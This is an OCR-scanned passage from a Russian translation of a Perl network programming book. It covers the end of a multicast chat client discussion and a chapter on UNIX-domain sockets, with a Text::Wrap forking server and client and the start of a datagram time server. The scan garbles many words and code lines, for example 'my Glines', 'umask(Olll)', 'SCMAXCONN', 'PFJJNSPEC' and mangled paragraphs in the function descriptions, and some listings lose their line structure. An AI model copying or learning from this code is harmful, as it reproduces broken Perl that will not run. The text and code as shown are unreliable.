139: my ($code,$msg) = G_;
140: my ($title,$count,$mcast_addr,$description) = $msg
638
Часть IV. Дополнительные темы
=~ /Л(\Б+) (\d+) ([\d.]+) (.+)/;
141: printf "\t%-20s %-40s %3d users\n","[$title]",
$description,$count;
142: }
[. . . без изменений ...]
Проведем анализ программы.
• Строки 1-9. Загрузка модулей. Кроме модулей Ю:: Socket и Ю:: Select, зафужаются
модули ChatObjects::MComm и Ю: :Socket: :Multicast ДЛЯ получения доступа К Методу
mcastadd () и подобным методам.
• Строки 23-36. Определение обработчиков для событий сервера. Хеш %messages
отображает события сервера на подпрограммы, которые вызываются для их обработки. К списку
обрабатываемых событий добавляется set_mcast_port, а в качестве обработчика этого
события применяется новая подпрограмма create_msocket ().
• Строки 37-42. Инициализация управляющего сокета и сокета многоадресной рассылки.
Выполняется чтение параметров из командной строки для получения адреса сервера и
номера управляющего порта, которые применяются по умолчанию. Затем создается стандартный
объект ChatObjects: :Comm, содержащий адрес и номер порта одноадресной рассылки
сервера. Этот объект сохраняется в переменной $comm. Он будет применяться для обмена
сообщениями системы интерактивной переписки с сервером. Для многоадресных сообщений будет
затем создан объект chatob j ects:: MComm.
• Строки 41-54. Регистрация и вход в цикл вызова функции select(). Теперь
предпринимается попытка зарегистрироваться на сервере. В случае успешного выполнения создается
объект Ю:: Select с управляющим сокетом и дескриптором stdik, после чего клиентский
сценарий входит в главный цикл для обработки команд пользователя и сообщений сервера.
Эта часть профаммы не отличается от первоначальной версии, но приведена здесь для
предоставления контекста.
• Строки 59-67. Обработка сообщения set_mcast_port. Подпрограмма create_msocket ()
отвечает за обработку сообщений set_mcast_port, отправленных с сервера. Она должна
создавать новый объект ChatObjects::MComm, привязанный к указанному порту, и добавлять
сокет этого объекта связи к списку дескрипторов файлов, контролируемых в главном цикле
select () клиентской программы.
В этой функции вначале выполняется проверка номера порта, отправленного сервером в теле
сообщения, и происходит отказ от обработки сообщения, если оно не содержит числовых
данных. Если глобальная переменная $msocket уже определена, то функция удаляет ее из
списка дескрипторов, контролируемых глобальным объектом io:: Select (в настоящее время
этого не происходит, но в будущих версиях сервера может быть предусмотрено динамическое
изменение номера порта многоадресной рассылки).
Следующий этап состоит в создании нового объекта связи ChatObjects: :MComm для
обработки входящих многоадресных сообщений. Вызывается метод ChatObjects: .-мсошт-
>new () для создания нового объекта связи, который служит оболочкой для сокета
многоадресной рассылки UDP.
Последний этап заключается в добавлении вновь созданного сокета к списку,
контролируемому глобальным объектом IO: :Select.
• Строки 124-136. Подключение к каналу и отключение от него. Для обработки сообщений
с кодами событий joinack и part_ack, полученных с сервера, вызывается подпрограмма
j oln_part (). Она интерпретирует полученное с сервера сообщение, которое содержит адрес
фуппы многоадресной рассылки соответствующего канала. В случае сообщения joikack
выполняется присоединение сокета многоадресной рассылки к фуппе путем вызова его
метода mcast_add (). В ИНОМ случае вызывается метод mcast_drop ().
• Строки 137-142. Получение информации о канале. Последнее, простейшее изменение
внесено в метод list_channel (), который предоставляет информацию о канале в ответ на
сообщение channel_item. Формат этого сообщения изменился и теперь включает адрес фуппы
многоадресной рассылки канала, поэтому должно соответствующим образом измениться
регулярное выражение, применяемое для синтаксического анализа этого сообщения.
Шава 21. Многоадресная рассылка
639
Эта новая версия сервера интерактивной переписки с поддержкой многоадресной
рассылки хорошо работает в локальной сети и подсетях, разделенных
маршрутизаторами многоадресной рассылки. Она не будет работать в Internet, если провайдеры
Internet на обоих концах соединения не маршрутизируют многоадресные пакеты или
не установлен туннель многоадресной рассылки с помощью демона mrouted или
подобного программного обеспечения.
Одним из недостатков клиента этой системы является то, что на каждом
компьютере одновременно не может работать несколько пользователей, только один. Это
связано с тем, что к порту многоадресной рассылки не может быть привязано
одновременно несколько сокетов. Это ограничение можно обойти путем установки опции
Reuse во время создания сокета многоадресной рассылки. Это позволяет обеспечить
привязку нескольких сокетов к одному порту, но приводит к ситуации, в которой
после подключения к каналу одного пользователя все другие также начинают получать
сообщения из данного канала. Во избежание этого можно установить в клиенте
контроль над тем, к каким каналам он подключен, и отфильтровывать сообщения,
поступающие из ненужных каналов.
Возможно, лучшее решение состоит в распределении ряда портов для
использования в системе интерактивной переписки и предоставлении каждому клиенту
возможности перебирать эти разрешенные порты до тех пор, пока не будет найден
свободный, к которому он может выполнить привязку. Иным образом, сервер мог бы
следить за тем, какие порты и IP-адреса используются каждым клиентом, и указывать
клиенту на невостребованный порт с помощью сообщения SET_MCAST_PORT.
Резюме
Многоадресная рассылка, в отличие от одноадресной или широковещательной,
представляет собой более удобный способ отправки сообщений от одного
отправителя ко многим получателям, которые могут находиться за пределами подсети.
Несмотря на то что многоадресная рассылка сложнее одноадресной, для ее реализации
требуются лишь небольшие дополнения к API-интерфейсу сокетов, поэтому создание
приложений многоадресной рассылки представляет собой довольно простую задачу.
Основным препятствием для широкого распространения приложений
многоадресной рассылки является неравномерная поддержка многоадресной маршрутизации
в Internet, поэтому в настоящее время такие приложения, в основном, используются
в внутрифирменных системах и экспериментальных сетях наподобие MBONE.
640
Часть IV. Дополнительные темы
Глава |22]
Сокеты домена UNIX
В предыдущих главах, в основном, рассматривались сокеты TCP/IP, которые
обеспечивают взаимодействие процессов, функционирующих на разных хостах. Однако
иногда возникает необходимость обеспечить обмен сообщениями между двумя или
более процессами, функционирующими на одном и том же хосте. Хотя для этого могут
применяться сокеты TCP/IP (и часто применяются), чаще всего удобнее использовать
сокеты домена UNIX, которые предназначены для обеспечения локальной связи.
Преимущество использования сокетов домена UNIX, вместо сокетов TCP/IP, для
локальной межпроцессной связи состоит в том, что они более эффективны и
исключают посторонний доступ на данном компьютере. В службе на основе TCP/IP,
предназначенной для локальной связи, пришлось бы проверять адрес источника каждого
входящего клиентского запроса для приема только тех, которые исходят из локального хоста.
После установки сокеты домена UNIX выглядят и действуют подобно сокетам
TCP/IP. Процесс чтения и записи в них является одинаковым, и методы обеспечения
одновременной работы, применяемые для сокетов TCP/IP, столь же хорошо
подходят для сокетов домена UNIX. В действительности, можно написать приложение для
сокетов домена UNIX, а затем приспособить его для использования в сети, изменив
только способ установки в нем сокетов.
Применение сокетов домена UNIX
Как и при использовании сокетов TCP/IP, два приложения, которым необходимо
обмениваться данными, должны "назначить встречу" друг другу в заранее
обусловленном месте. Вместо применения в качестве "места встречи" сочетания IP-адреса
и номера порта, в сокетах домена UNIX используется путь к файлу в локальной
файловой системе, такой как /dev/log. Этот файл создается автоматически при
привязке сокета и появляется в листинге каталога UNIX с обозначением "s" в начале строки
прав доступа.
% Is -1 /dev/log
srw-rw-rw- 1 root root 0 Jun 17 16:21 /dev/log
Файлы сокетов не удаляются автоматически после закрытия сокета, они должны
уничтожаться вручную.
В документации Perl эти файлы иногда называют "очередями" (fifo), поскольку
они действуют по принципу очереди — первый байт данных, записанный приложени-
Глава 22. Сокеты домена UNIX
641
ем-отправителем, становится первым байтом данных, считанным приложением-
получателем. Сокеты домена UNIX во многом подобны каналам UNIX (глава 2),
и в действительности, оба средства обеспечения межпроцессной связи часто
реализуются на основе общего базового кода.
Слово "UNIX" в названии сокетов домена UNIX по-прежнему отражает их
принадлежность, поскольку подобные средства реализованы лишь на нескольких
платформах, например OS/2, а в большинстве операционных систем, включая
Windows и Macintosh, не поддерживаются. Однако пользователи Windows могут
получить доступ к сокетам домена UNIX, установив бесплатную библиотеку
средств совместимости Cygwin32. Эту библиотеку можно получить по адресу:
http://www.cygnus.com/cygwin/.
Сокеты домена UNIX используются стандартным демоном syslog системы UNIX
(глава 12), службой печати lpd Berkeley и многими новыми приложениями, такими
как программа воспроизведения MPS XMMS (http://www.xmms.org). В системе
syslog клиентские приложения записывают в сокет домена UNIX, такой как
/dev/log, сообщения для регистрации в журнале. Как описано в главе 14, демон
syslog читает сообщения, фильтрует их в соответствии со степенью важности и
записывает в один из нескольких файлов журналов. В демоне печати lpd применяется
аналогичный принцип для получения заданий на печать от клиентов.
В приложении XMMS реализован более интересный способ использования сокетов
домена UNIX Создав и поставив под контроль сокет домена UNIX, приложение XMMS
получает возможность обмениваться информацией с клиентами. Кроме того, клиенты
могут отправлять серверу XMMS команды на воспроизведение звукозаписи или смену
носителя либо получать информацию от сервера XMMS о том, чем он в настоящее
время занимается. Модуль Xmms Дуга Мак-Ичерна (Doug MacEachem), который можно
получить из архива CPAN, предоставляет интерфейс Perl к сокетам XMMS.
Интерпретатор Perl предоставляет и функционально-ориентированный, и
объектно-ориентированный интерфейс к сокетам домена UNIX Рассмотрим эти
интерфейсы последовательно.
Функционально-ориентированный интерфейс
к сокетам домена UNIX
Создание сокетов домена UNIX с помощью функционально-ориентированного
интерфейса аналогично созданию сокетов TCP/IP. Для создания сокета вызывается
функция socket (), для отправки исходящего запроса на установление соединения
применяется функция connect (), а для приема входящих запросов на установление
соединения служат функции bind (), listen () и accept ().
Для создания сокета домена UNIX нужно вызвать функцию socket (), указав тип
домена AF_UNIX и протокол PF_UNSPEC (сокращение от protocol unspecified—
неопределенный протокол). Эти константы экспортируются модулем Socket.
Пользователь вправе создать сокет SOCK_STREAM или SOCK_DGRAM.
use Socket ;
socket(S, AF_UNIX, SOCK_STREAM, PF_UNSPEC)
or die "Can't create stream socket: $!";
socket(D, AF_UNIX, SOCK_DGRAM, PFJJNSPEC)
or die "Can't create datagram socket: $!";
642
Часть IV. Дополнительные темы
После создания сокета можно отправить ожидающему серверу исходящий запрос
на установление соединения, вызвав функцию connect (). Основное отличие
состоит в том, что необходимо вначале создать адрес встречи с использованием полного
имени файла и вспомогательной функции sockaddr_un (). В следующем фрагменте
кода показано, как выполнить подключение к серверу, который принимает запросы
по адресу: /tmp/daytime.
my $dest = sockaddr_un('/tmp/daytime');
connect(S,$dest) or die "Can't connect: $!";
Адрес домена UNIX — это просто полное имя файла, которое дополняется (до
установленной длины) нулевыми байтами и может быть создано с помощью функции
sockaddr_un (). Члены семейства функций sockaddr_un () подобны своим
аналогам, предназначенным для работы с IP-адресами.
8packeJ_aJ4r " eockaddr_un ($path)
($path) - eockaddr^un ($packed_addr)
3 скалярном контексте функция в. cknd.lr_un() принимает полно© ими файла и
преобразует его в адрес назначения домена UNIX, пригодный для использования в функциях
Land О и с nnect (). В контексте массива функция sock.-.tidr_un ( выполняет оСрвтнсе/ дей-
! стеиё, что может применяться для интерпретаций эначенил, вгзйрэщенного функциями
I t'ccvH и;д\£?~_сЦпатс () -
Если такое поведение функции sockaddr_un (), которое зависит от контекста,
вам не нравится, вместо нее, вы можете применять функции pack_sockaddr_un ()
и unpack_sockaddr_un():
$packed addr - pack sockaddr un($rath)
£ Функция i »ck_s cY.r. iir^un () упакозывает полное имя файла ч адрес домена UNIX,
независимо от контекстаЧмассйва или скалярного ко*ггекстэ.
| $path - uryack_gockhd^r_un ($f>acX.ed_addr)
F Оункция unp^ck_s^ck?0dr_un() преобразовывает упакованный адрис сокота доыемя UNIX
в полное ими файла, независимо от контекста массиеа-или скалярнопмсснтекста.
Серверы должны выполнять привязку к адресу домена UNIX путем вызова
функции bind () с желаемым адресом встречи. В следующем примере показано, как
выполнить привязку к сокету с адресом /tmp/daytime.
bind(S,sockaddr_un('/tmp/daytime')) or die "Can't bind: $!";
В случае успешного выполнения функция bind () возвращает истинное значение.
Ниже перечислены возможные причины неудачного завершения.
■ EADDRINUSE ("address already in use" — адрес уже используется). Точка
встречи уже существует как обычный файл, обычный каталог или сокет,
созданный в предыдущем вызове того же сценария. Серверы домена UNIX
должны уничтожать файл сокета перед завершением работы.
■ EACCES ("permission denied" — доступ запрещен). Права доступа исключают
для текущего процесса возможность создать файл сокета в указанном месте. Те
же правила, которые регламентируют создание файла для записи,
распространяются и на сокеты домена UNIX. В системах UNIX непривилегированные
сценарии часто выбирают для размещения файлов сокетов каталог /tmp.
Глава 22. Сокеты домена UNIX
643
■ ENOTDIR ("not a directory" —не каталог). Выбранное полное имя
включает компонент, который не является допустимым именем каталога.
Подобные ошибки возникают также, если выбранное полное имя файла не
является локальным. Например, запрещено использовать адреса сокетов,
находящиеся в файловых системах, допускающих только чтение или
смонтированных в сети.
После создания и инициализации сокет домена UNIX может использоваться как
обычный сокет TCP/IP. Программы могут вызывать функции read(), sysread(),
print () или syswrite () для взаимодействия в потоковом режиме или функции
send () и recv () — для использования API-интерфейса, ориентированного на работу
с сообщениями. Серверы могут принимать новые входящие запросы на установление
соединений с помощью функций listen () и accept ().
Функции, которые должны возвращать адреса сокетов, такие как getpeername (),
getsoekname () и recv(), при использовании с сокетами домена UNIX возвращают
упакованные адреса домена UNIX. Эти адреса должны быть распакованы с помощью
функции sockaddr_un () или unpack_sockaddr_un () для выборки полного имени
файла, предназначенного для восприятия человеком.
Следует учитывать, что некоторые версии Perl содержат программную ошибку
в процедурах, которые возвращают имена сокетов. В подобных версиях вызовы
версий функций sockaddr_un () и unpack_sockaddr_un () для работы с массивами
завершаются неудачей. Это не так уж страшно, поскольку в приложениях для работы
с сокетами домена UNIX не приходится обращаться к этой информации так же часто,
как в приложениях TCP/IP. Однако если нужно получить в программе полное имя
локального или удаленного сокета, эту программную ошибку Perl можно обойти,
применив функцию unpack () с форматом "x2z" к значению, возвращенному функцией
getpeername () или getsoekname ().
$path = unpack "x2z",getpeername(S);
Кроме того, в сокете домена UNIX, созданном клиентом, можно вызвать функцию
connect () без вызова функции bind (), так же как и при работе с сокетом TCP/IP.
В этом случае система создает невидимую оконечную точку связи и функция
getsoekname () возвращает полное имя, которое имеет длину, равную О. Это
подобно использованию в операционной системе временных портов для исходящих
соединений TCP/IP.
Объектно-ориентированный интерфейс к сокетам
домена UNIX
Объектно-ориентированный интерфейс к сокетам домена UNIX
предоставляет стандартный модуль 10::Socket. Достаточно просто создать объект типа
10: : Socket-: :UNIX и использовать его наравне с объектом 10: : Socket,
предназначенным для работы По Протоколу TCP/IP. Основные изменения, по сравнению
с модулем 10:: Socket:: INET, заключаются в использовании конструктора объекта
new (), который принимает другой набор ключевых Параметров. В модуле
10:: Socket:: UNIX добавлены новые методы hostpath () и peerpath () (описанные
ниже) и не поддерживаются методы, связанные с использованием протокола
TCP/IP, такие как sockaddr(), sockport(), sockhost(), peeraddr() или
peerport().
644
Часть IV. Дополнительные темы \
P Visocket = IO:: Socket:^UNIX->n6w('7path/to/socket1) ' J ^ "*r " ?*
В - t ~ ■ * с -*■*-, <■ .« |
p При использовании версии метода Ю:: Socket :":DN!X->new О с одним параметром
предпринимается попытка подключения к указанному сокету домена UNIX в предположении, что сокет имеет
тип SQCK£STREAMiV, В случае- успешного: выполнения этот метод возвращает объект а
,=10™ Socket :iUNIX. . ' = jjti - _*1д*т'г -. ■- 4
;- - ' ■ -' ' ^
i Ssocket = ТО::Socket::UNIX->new(argl => vail, arg2 => val2, ) ,r '%
i ,-, Версия метода new о с ключевыми параметрами принимает ряд пар "name^>value" и создает
новый объест lO::socket:-UNIX..Ключевые параметры, распознаваемые этим методом, перечне- ■
71енывтабл.22.1. .' * "" " ~Ч« ^ ? '- '%
$path = $socket->hostpath() * . {3
^ Метод hostpath (} возвращает полное имя сонета UNIX со стороны данного участника соедине-. =
aHMjidfoT метод возвращает значение undef, если сокет не привязан к полному имени. vj|
$path = $socket->peerpath() ,5 ^ -f , f; I
% Щ Метод peerpatM) возвращает полное имя сокета UNIX со стороны другого участника соедине- J
•ния.Он возвращает значение -undef, если сокет не подключен., , . i- %/г,. .*, „^ ..£ -= 1
В табл. 22.1 приведен перечень параметров, распознаваемых методом
10: :Socket: :UNIX->new(). Ниже перечислены типичные примеры применения
сокетов домена UNIX.
■ Создание сокета и подключение его с помощью функции connect () к
процессу, который принимает входящие запросы на установление соединения по
адресу: /dev/log.
$socket = IO::Socket::UNIX->new(Type=>SOCK_STREAM,
Peer=>'/dev/log');
■ Создание приемного сокета, привязанного к адресу /tmp/mysock.
Предусмотрена возможность размещения во входной очереди до SOMAXCONN входящих
соединений.
$socket = IO::Socket::UNIX->new(Type => SOCK_STREAM,
Local => '/tmp/mysock'.
Listen => SOMAXCONN);
■ Создание сокета домена UNIX для использования при передаче исходящих
дейтаграмм.
$socket = IO::Socket::UNIX->new(Type => SOCK_DGRAM);
■ Создание сокета домена UNIX, привязанного к адресу /tmp/mysock, для,
использования при приеме входящих дейтаграмм.
$socket = IO::Socket::UNIX->new(Type => SOCK_DGRAM,
Local => '/tmp/mysock');
Таблица 22.1. Параметры метода IO: : Socket: :UNIX->new()
Параметр Описание , Значение
Type Тип сокета, принимает по умолчанию значение SOCK_STREAM или
SOCK_STREAM SOCK_DGRAM
Local Полное имя локального сокета <patti>
Peer Полное имя удаленного сокета <ра tti>
Listen Размер входной очереди приемного сокета <integer>
Глава 22. Сокеты домена UNIX
645
Сокеты домена UNIX и права доступа к файлу
В сокетах домена UNIX для обозначения "места встречи" используются
физические файлы, поэтому от режима доступа к файлу сокета зависит, будет ли разрешен
к нему доступ тем или иным процессам. Такое свойство сокетов указанного типа
может применяться для реализации механизма управления доступом.
При создании файла сокета функцией bind() (и методом 10: :Socket: :UNIX
->new ()) права доступа к полученному файлу зависят от текущего значения маски
пользователя umask данного процесса. Если маска пользователя umask имеет
значение 0000, то файл сокета создается с восьмеричным обозначением режима 0777 (все
биты включены). В листинге каталога появляется символическое обозначение прав
доступа srwxrwxrwx, которое соответствует предоставлению права на запись всем
пользователям. Это значит, что к сокету может подключиться любой процесс,
который затем может отправлять и получать с его помощью сообщения.
Чтобы ограничить доступ к сокету, можно до его создания изменить значение
umask с помощью встроенной функции umask () языка Perl. Например, при
использовании в качестве umask восьмеричного значения 0117 файлы сокетов создаются
с правами доступа srw-rw , что позволяет получить доступ к сокету только
процессам, работающим с тем же идентификатором пользователя или группы, что и сер
вер. Значение 0177 запрещает доступ всем процессам, не работающим с тем же
идентификатором пользователя, что и сервер. Например, в сервере, работающем с
правами пользователя root, может быть предусмотрено создание его сокетов
с использованием такого значения umask для предотвращения возможности
подключения для любого клиента, который не работает с правами суперпользователя.
Если вы при использовании сокетов домена UNIX встретитесь с трудностями,
проверьте права доступа к файлам сокетов и измените значение umask, если оно не
соответствует вашим требованиям. В приведенных ниже примерах предусмотрена
явная установка значения umask, равного 0111, перед созданием сокета. В результате
создается сокет, доступный для записи всем пользователям, что позволяет
подключаться любому процессу. Однако права на выполнение не устанавливаются, поскольку
они не нужны для файлов сокетов. Иной способ может состоять в применении
функции chmod () языка Perl.
В серверных приложениях полное имя сокета другого участника соединения
вполне может применяться как одна из форм проверки подлинности пользователя.
Перед обслуживанием запроса в серверном приложении можно определить полное
имя сокета другого участника соединения и отказаться от обслуживания запроса, если
файл сокета не принадлежит конкретному пользователю или группе или не был
создан в конкретном каталоге, к которому имеет доступ только определенный
пользователь или группа.
Сервер форматирования текста
В качестве примера приложения используется стандартный модуль Text: :Wrap
для создания простого сервера форматирования текста. Сервер принимает на входе
фрагмент текста, переформатирует его в виде небольших абзацев шириной 30
символов и возвращает его клиенту. В сервере wrap_serv.pl применяется стандартная ар
хитектура ветвления и библиотека 10: : Socket: :UNIX. В клиенте wrap_cli.pl ис-
646 Часть IV. Дополнительные темы
пользуется простой проект, который предусматривает отправку всего входного файла
на сервер, закрытие сокета для записи, а затем чтение возвращенных
переформатированных данных. Ниже показан пример результатов, полученных от клиента после
передачи ему фрагмента начала этой главы.
% wrap_cli.pl ../ch22.txt
Connected to /tmp/wrapserv...
In previous chapters we have focused on TCP/IP sockets, which
were designed to allow processes on different hosts to
communicate. Sometimes, however, you'd like two or more processes on
the same host to exchange messages. Although TCP/IP sockets can
be used for this purpose (and often are), an alternative is to
use UNIX-domain sockets, which were designed to support local
communications.
The advantage of UNIX-domain sockets over TCP/IP for local
interprocess communication...
Сервер Text::Wrap
Сценарий wrap_serv. pi приведен в листинге 22.1. В этом сценарии применяется
конструкция с ветвлением, знакомая по предыдущим главам. В целях упрощения
в этом сервере не применяется автоматический перевод в фоновый режим, запись
файла PID и прочие возможности, описанные ранее, но все эти средства несложно
добавить с помощью модуля Daemon, который рассматривается в главе 14.
Листинг 22.1. Сервер форматирования текста wrap_serv.pl
0: #'/usr/bin/perl
1: # Файл: wrap_serv.pl
2: use IO::Socket;
3: use POSIX qw(:signal_h WNOHANG);
4: use Text::Wrap ' fill■ ;
5: use constant SOCK_PATH => '/tmp/wrapserv';
6: use constant COLUMNS => 40;
7: use constant INITIALJTAB => "\n";
8: use constant SUBSEQUENTJTAB => "";
9: # Получить имя пути
10: my $path = shift I| SOCK_PATH;
11: # Выполнить настройку модуля Text::Wrap
12: $Text::Wrap::columns = COLUMNS;
13: # Удалить информацию о завершившихся дочерних процессах из
# системных таблиц, чтобы исключить появление зомби
14: $SIG{CHLD} = sub { do {} while waitpid(-l,WNOHANG) > 0 };
15: # Обработать сигналы прерывания и завершения
16: $SIG{TERM} = $SIG{INT} = sub { unlink $path; exit 0 };
17: # Установить значение umask
18: umask(Olll);
19: my $listen = IO::Socket::UNIX->new( Local => $path,
20: Listen => SCMAXCONN ) or
Глава 22. Сокеты домена UNIX
647
die "Socket: $!";
21: warn "listening on UNIX path $path \n";
22
23
24
25
26
27
28
29
30
31
32
while (1) (
my $connected = $listen->accept();
die "Can't fork!" unless defined (my $child = launch_child());
if ($child) {
close $connected;
} else {
close $listen;
interact($connected) ;
exit 0;
}
}
33: sub launch_child {
34: my $signals =
POSIX::SigSet->new(SIGINT,SIGCHLD, SIGTERM,SIGHUP);
35: sigprocmask(SIG_BLOCK,$signaJLs); # Заблокировать
# ненужные сигналы
36: my $child = forkO;
37: unless ($child) {
38: $SIG{$_} = 'DEFAULT' foreach qw(HUP INT TERM CHLD);
39: }
40: sigprocmask(SIG_UNBLOCK,$signals); # Разблокировать
# сигналы
41: return $child;
42: }
43
44
45
46
47
48
sub interact {
my $c = shift;
chomp(my Glines = <$c>);
print $c fill(INITIAL_TAB, SUBSEQUENTJTAB, Glines);
close $c;
}
Проведем анализ программы.
Строки 1-4. Импортирование модулей. Загружается модуль Ю:: socket и импортируется
подпрограмма fill () из модуля Text:: Wrap. Поскольку это — сервер с ветвлением,
импортируется константа wnohang из модуля posix для использования в обработчике ckld.
Загружается также набор констант : signal_h модуля POSIX для блокирования и разблокирования
сигналов. Это средство будет применяться при вызове функции fork ().
Строки 5-8. Определение констант. Определяется константа sock_patk, содержащая
полное имя сокета домена UNIX, и различные установки формата, которые должны быть
переданы модулю Text: :Wrap.
Строки 9-12. Инициализация переменных. Полное имя сокета берется из командной строки или
устанавливается по умолчанию равным константе sockpath. Переменная Scoiumns модуля
Text:: wrap устанавливается равной ширине столбцов; она определена в константе columns.
Строки 13-16. Установка обработчиков сигналов. С помощью сигнала chld выполняется "уборка"
всех завершившихся дочерних процессов с использованием разновидности цикла waitpid (),
рассмотренной ранее. Сервер должен также уничтожить файл сокета домена UNIX перед завершением
работы, и по этой причине предусмотрен перехват сигналов int и term с помощью обработчика,
который удаляет указанный файл, а затем обычным образом завершает работу.
Строки 17, 18. Установка значения umask. Явным образом значение uraask устанавливается
равным восьмеричному значению 0111, чтобы приемный сокет был создан как доступный для
чтения и записи всем пользователям. Это позволяет любому процессу на локальном хосте взаи-
648
Часть IV. Дополниггщьные темы
модействовать с сервером. (Ведущий 0 должен быть обязательно указан, чтобы значение 0111
интерпретировалось как восьмеричная константа. Если 0 будет опущен, интерпретатор Perl будет
рассматривать это значение как десятичное число 111, которое означает совсем иное.)
Строки 19-21. Создание приемного сокета. Вызывается метод Ю::Socket: :UNlx->new()
для создания приемного сокета домена UNIX no указанному адресу сокета, который обозначен
полным именем. Параметр Listen установлен равным константе somaxcokn, которая
экспортируется модулями Socket и IO:: Socket.
Строки 22-32. Цикл accept(). Этот цикл аналогичен циклам, применяемым в серверах
TCP/IP. Однако функция fork () вызывается через оболочку launch_chiid () по описанным
ниже причинам. Функция interact!) отвечает за взаимодействие с клиентом и работает
в дочернем процессе.
Строки 33-42. Подпрограмма launch_chiid(). Данная подпрограмма представляет собой
оболочку для функции fork (). Поскольку в родительском серверном процессе
предусмотрены обработчики int и term, которые уничтожают файл сокета, нужно обязательно удалить их
из дочерних процессов; в ином случае файл может быть уничтожен преждевременно. С
помощью метода, который применялся в модуле Daemon, описанном в главе 14, создается объект
fosix :: sigSet, содержащий сигналы int, ckld и term, и вызывается функция
sigprocmask () для блокировки на время этих сигналов. После того как сигналы будут
безопасно заблокированы, вызывается функция fork () и для каждого из этих обработчиков в
дочернем процессе переустанавливаются правила, применяемые по умолчанию. Теперь в
дочернем процессе сигналы снова разблокируются путем вызова функции sigprocmaskO,
и в результате будет выполнен возврат pid дочернего процесса.
Строки 43-48. Подпрограмма interact (). Эта подпрограмма, которая выполняет всю
реальную работу, состоит только из шести строк. Она выбирает подключенный сокет из списка
параметров, читает из сокета список текстовых строк, предназначенных для форматирования,
и вызывает функцию chomp () для удаления символов обозначения конца строки, если они
имеются. Затем эта подпрограмма передает строки функции fill О модуля Text: .-wrap,
отправляет полученный результат через сокет и закрывает сокет.
Клиент Text:-.Wrap
В листинге 22.2 приведен код сценария wrap_cli.pl, который состоит всего из
12 строк.
Листинг 22.2. Клиент форматирования текста wrap_cli.pl
0: #!/usr/bin/perl
1: # Файл: wrap_cli.pl
2: use IO::Socket;
3: use Getopt::Long;
4: use constant SOCKPATH => '/tmp/wrapserv';
5: my $path;
6: GetOptions(,,patb=sn => \$path,); ,.,,
7: p §path ||= SOCK_PATH;
ЛПМ « £*•*}.•
8: my $sock = IO::Socket;:UNIX->new($path) or die "Socket: $!";
9: warn "Connected to $path...\n";
10
11
12
13
my Glines = О; # Прочитать все строки
print $sock Blines;
$sock->shutdown(l); # Закрыть сокет для записи
print STDOUT <$sock>; # Вывести результат
Глава 22. Сокеты домена UNIX 649
Проведем анализ программы.
• Строки 1-3. Импортирование модулей. Вызываются модули Ю:: Socket и Get opt: :Long.
Последний модуль используется для обработки опций командной строки.
• Строка 4. Определение константы sock_path. Определяется константа, содержащая
заданное по умолчанию полное имя сокета домена UNIX.
• Строки 5-7. Обработка параметров командной строки. Эта клиентская программа
позволяет пользователю указать вручную путь к сокету с помощью параметра Spath. Вызывается
функция GetOptions () для интерпретации командной строки и поиска этого параметра. Если
он не задан, то по умолчанию принимается значение sock_prth.
• Строки 8, 9. Открытие сокета. Вызывается метод Ю::Socket: :UNlX->new() с одним
параметром для создания нового сокета домена UNIX и попытки подключения к адресу,
заданному параметром Spath. Перед вызовом метода new о нет необходимости устанавливать
маску пользователя umask, поскольку не предусмотрена привязка к локальному адресу.
• Строки 10-12. Чтение текстовых строк и отправка их на сервер. Для чтения всех строк из
дескриптора stdin и/или списка, указанного параметром командной строки, в массиве Glines
применяется оператор о, после чего эти строки отправляются через сокет на сервер. Затем
вызывается функция shutdown (1) для закрытия половины сокета, предназначенной для
записи, и уведомления сервера о том, что у клиента нет больше данных для отправки.
• Строка 13. Вывод результатов. Из сокета считываются переформатированные строки и
выводятся на стандартное устройство вывода stdout.
Применение сокетов домена UNIX для
передачи дейтаграмм
Сокеты домена UNIX могут применяться для отправки и приема дейтаграмм. При
создании (или принятии значений модуля 10: :Socket: :UNIX, предусмотренных по
умолчанию) сокет, вместо указания типа SOCKJSTREAM, создается с типом SOCK_DGRAM.
После этого появляется возможность передавать через сокет сообщения с помощью
функций send () и recv (), не устанавливая долгосрочных соединений.
Поскольку сокеты домена UNIX являются локальными для хоста, существуют
некоторые важные различия между применением сокетов домена UNIX для локальной
отправки дейтаграмм и использованием протокола UDP для отправки дейтаграмм по
сети. Преимуществом дейтаграмм домена UNIX является то, что они надежны и
упорядочены. В отличие от протокола UDP, можно вполне рассчитывать на то, что
дейтаграммы домена UNIX достигнут места назначения и поступят в таком же порядке,
в каком они были отправлены. Их недостаток в том, что двухсторонняя связь
возможна, только если оба процесса выполнят привязку к полному имени с помощью
функции bind (). Если это не будет предусмотрено в клиенте, то он сможет
отправлять сообщения на сервер, но сервер не получит адрес другого участника соединения,
который может применяться для отправки ответа.
Для иллюстрации особенностей применения дейтаграмм в сокетах домена UNIX ниже
показан простой вариант сервера службы времени. Этот сервер действует подобно
стандартному серверу службы времени, возвращая строку, содержащую текущее значение даты
и времени, в ответ на входящие запросы. Однако, как дань моде на разработку программ,
предназначенных для глобального распространения, в нем также предусмотрен поиск во
входящем сообщении строки с указанием часового пояса, и если такая строка
присутствует, сервер возвращает дату и время относительно этого часового пояса.
650
Часть IV. Дополнительные темы
Сервер и клиент именуются как localtime_serv.pl и localtime_cli.pl.
Клиент принимает необязательный параметр с обозначением часового пояса из командной
строки. Ниже показаны результаты, полученные при использовании клиента для
выборки времени в текущем часовом поясе, в Восточной Европе и Анкоридже, шт. Аляска.
% ./localtime_cli.pl
Sat Jun 17 18:06:14 ..2000
% ./localtime_cli.pl Europe/Warsaw
Sat Jun 17 22:06:24 2000
% ./localtime_cli.pl America/Anchorage
Sat Jun 17 14:06:57 2000
Сервер службы времени домена UNIX
Сценарий localtime_serv.pl приведен в листинге 22.3. В нем применяется общая
конструкция однопоточного дейтаграммного сервера, которая описана в главе 18.
Листинг 22.3. Сервер службы времени locaitime_serv.pl
О: #!/usr/bin/perl
1: # Файл: localtime_serv.pl
2: use IO::Socket;
3: use constant S0CK_PATH => '/tmp/localtime';
4: # Получить имя иути
5: my $path = shift I I SOCK_PATH;
6: # Обработать сигналы прерывания и завершения
7: $SIG{TERM} = $SIG{INT} = sub { exit 0 };
8: # Установить значение umask для предоставления права на
# запись всем пользователям
9: umask(0111);
10: my $sock = IO: : Socket: :UNIX->"new( Local => $path,
11: Type =
> SOCK_DGRAM) or die "Socket: $!";
12: warn "listening on UNIX path $path \n";
13: while (1) {
14: my $data;
15: my $peer = recv($sock,$data,128,0);
16: if ($data =~ m!л[a-zA-Z0-9/_-]+$!) { # Может содержать
# обозначение часового пояса
17: $ENV{TZ} = $data;
18: } else {
19: delete $ENV{TZ};
